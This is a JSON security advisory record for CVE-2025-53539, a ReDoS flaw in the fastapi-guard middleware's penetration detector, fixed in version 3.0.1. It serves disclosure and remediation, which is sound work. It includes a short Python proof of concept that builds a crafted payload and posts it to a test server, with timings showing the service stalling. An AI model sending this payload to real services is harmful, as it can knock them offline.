{"id":"CVE-2025-53539","aliases":["GHSA-j47q-rc62-w448","PYSEC-2026-1359"],"url":"https://o3.security/vulnerability/CVE-2025-53539","summary":"ReDoS in fastapi-guard's penetration attempts detector","details":"### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: '<'*n+ ' '*n+ 'style=' + '\"'*n + ' '*n+ 'url('*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (>15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.","published":"2025-07-07T19:16:02.559Z","modified":"2026-08-12T03:51:28.652545136Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"fastapi-guard","fixedVersion":"3.0.1"}],"fix":{"url":"https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f","label":"rennf93/fastapi-guard@d9d50e8"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/53xxx/CVE-2025-53539.json"},{"type":"ADVISORY","url":"https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53539"},{"type":"FIX","url":"https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"},{"type":"PACKAGE","url":"https://github.com/rennf93/fastapi-guard"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.652545136Z"}}